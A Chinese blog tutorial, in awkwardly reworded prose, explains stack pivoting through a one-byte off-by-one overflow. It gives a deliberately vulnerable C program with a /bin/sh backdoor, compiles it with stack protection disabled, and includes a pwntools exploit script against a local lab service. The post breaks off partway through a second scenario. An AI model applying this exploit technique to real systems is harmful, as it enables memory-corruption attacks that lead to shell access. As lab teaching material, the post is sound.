Stack Pivoting 新姿势 —— off by one

序言 本文章内容关键叙述的是根据 off by one 技巧完成 Stack Pivoting 让程序流程去实行自身结构好的 ROP。 基本 选编基本 leave指令:等同于 mov e/r sp,e/r bp; pop e/r bp ret指令...

序言

本文章内容关键叙述的是根据 off by one 技巧完成 Stack Pivoting 让程序流程去实行自身结构好的 ROP。

基本

选编基本

leave指令:等同于 mov e/r sp,e/r bp; pop e/r bp

ret指令:等同于 pop eip/rip

Stack Pivoting

介绍

stack pivoting 就是指被劫持栈表针偏向网络攻击能够操纵的运行内存处,随后再在相对的部位开展 ROP。

剖析

根据所述对 stack pivoting 的详细介绍,早已大约了解 stack pivoting 技术性便是被劫持 esp/rsp 到一块新的栈室内空间,由于当程序运行到 ret 指令时管理程序实行步骤的正好便是这时 esp/rsp 中存的详细地址室内空间中的指令,因此 操纵这时的 esp/rsp 相当于变向的操纵了程序流程的实行步骤。因此 能够根据在这里室内空间内结构 ROP 链开展 ROP。

应用情景

只必须有可以改变 esp/rsp 的指令就可以

例1:leave ret

例2:lea esp,[ecx-0x4]

或是别的能够改变 esp/rsp 的指令

几类使用方法

1.转移到一个部位已经知道的buf

2.use off by one

off by one

根据只溢出一个字节完成一些要想做到的实际效果。=

例1:根据只覆盖 ebp/rbp 的低一个字节完成让 ebp/rbp 在 0-255 个字节数中间挪动。

例2:根据只覆盖 canary 的低二位一个字节完成对 canary 的工程爆破。

Stack Pivoting use off by one

介绍:

根据覆盖 esp/rsp 的低一位完成 stack pivoting,一般 全是转移到与 esp/rsp 相仿的 buf。

优势:

1.所必须的覆盖的字节非常少2.能够没有一个已经知道部位的buf

缺陷:

1.很有可能必须的 buf 相对性很大(较为小得话会危害通过率和ROP的作用)2.在一些特殊自然环境中才可以完成

案例

因为本方式是产生在带有轻度栈溢出的程序流程中,因此 全部的自然环境规定都务必有轻度的栈溢出。出自于解读的目地这两个案例都加了侧门涵数,还可以不用侧门涵数自主结构ROP,其基本原理全是一样的。

情景1

本情景只产生在32位系统程序流程,gcc编译器 > 4.9的状况下。通过学习发觉当 gcc编译器 > 4.9 版本号时编译程序出去的文档会出现一段特殊的编码push ebp;mov ebp,esp; push ecx ······ lea esp,[ecx-0x4]因此 能够利用这一段特殊编码完成对 esp 的改变。本体制可能是开发者出自于安全性考虑到对栈溢出做的一定的安全性维护,由于在栈溢出的状况下 ecx 一定会产生改变,这时 esp 也会随着改变,因此 溢出回到详细地址的方式在这里就存有一定的艰难,但是可能是考虑到不全,因此 也导致了此方式存有的一些缺点。

源码 buf.c

#include

int callsystem(){

return system("/bin/sh");

}

int main(){

char buf[400];

fgets(buf,405,stdin);

printf("%s",buf);

}

编译程序选择项:gcc -o buf buf.c -m32 -fno-stack-protector 因为加 canary 维护得话很有可能导致没法溢出 ecx 的状况因此 这里关掉 canary 维护。

程序流程剖析

构思:

它是一道相对性简易的 pwn 题,题型构思非常简单,根据溢出让程序流程去 callsystem 涵数实行就可以。

静态数据剖析:

根据剖析发觉这里存有对 esp 改变的指令,因此 能够利用这里完成 stack pivoting ,因为本题型中不会有一个部位已经知道的 buf ,因此 应用 stack pivoting use off by one 。根据此方式能够完成 esp 在一个相对位置的 buf 间挪动,因为部位不可以精准明确因此 必须利用相近 nop 添充的方法完成对通过率的提升,ret 指令完成实际效果与 nop 实际效果同样因此 这里选用 ret 替代 nop 开展添充,因为 esp 受 ecx 的危害,因此 能够根据溢出 ecx 低一位字节数完成对 esp的操纵。

动态性调节全过程:

覆盖前的 ecx:

寻找到 ecx 处的偏位:

由图中 ecx 在 ebp 以上猜想覆盖 ecx 低一位必须 405(IDA静态数据剖析还可以查询) 个字节数,因为覆盖最终一位为 00 可完成在栈室内空间的较大 挪动,因此 键入的最终一个字符为 x00 又因为 fgets 涵数会在最终一部分全自动补 x00 因此 只填 404 字符就可以。

检测:

結果:由这三张图得知 ecx 取得成功从 0xffffd590 覆盖为 0xffffd500

利用脚本制作

from pwn import *

ret=p32(0x0804833a)

system=p32(0x080484cb)

r=remote('127.0.0.1',8888)

raw_input('1Oin0: ')

shellcode=ret*(101- len(system)/4) ''.join(system)

r.sendline(shellcode)

r.interactive()

情景2

本情景大部分都很有可能会存有,此自然环境关键利用 leave 指令,由于 leave 指令完成了对 esp/rsp 的改变,又因为 esp/rsp 受 ebp/rbp 的操纵,因此 只需操纵 ebp/rbp 就可以完成对 esp/rsp 的改变,又因为 leave 指令是,mov e/r sp,e/r bp; pop e/r bp,因此 第一次溢出的 ebp/rbp 不容易危害该次的 esp/rsp 因此 务必必须2次 leave 指令,即本自然环境为第一层涵数和第二层涵数都包括 leave 指令或是等效电路指令。

源码 buf2.c

#include

int callsystem(){

return system("/bin/sh");

  • 发表于 2021-02-16 13:52
  • 阅读 ( 270 )
  • 分类:互联网

0 条评论

请先 登录 后评论
风腾
风腾

680 篇文章

你可能感兴趣的文章

相关问题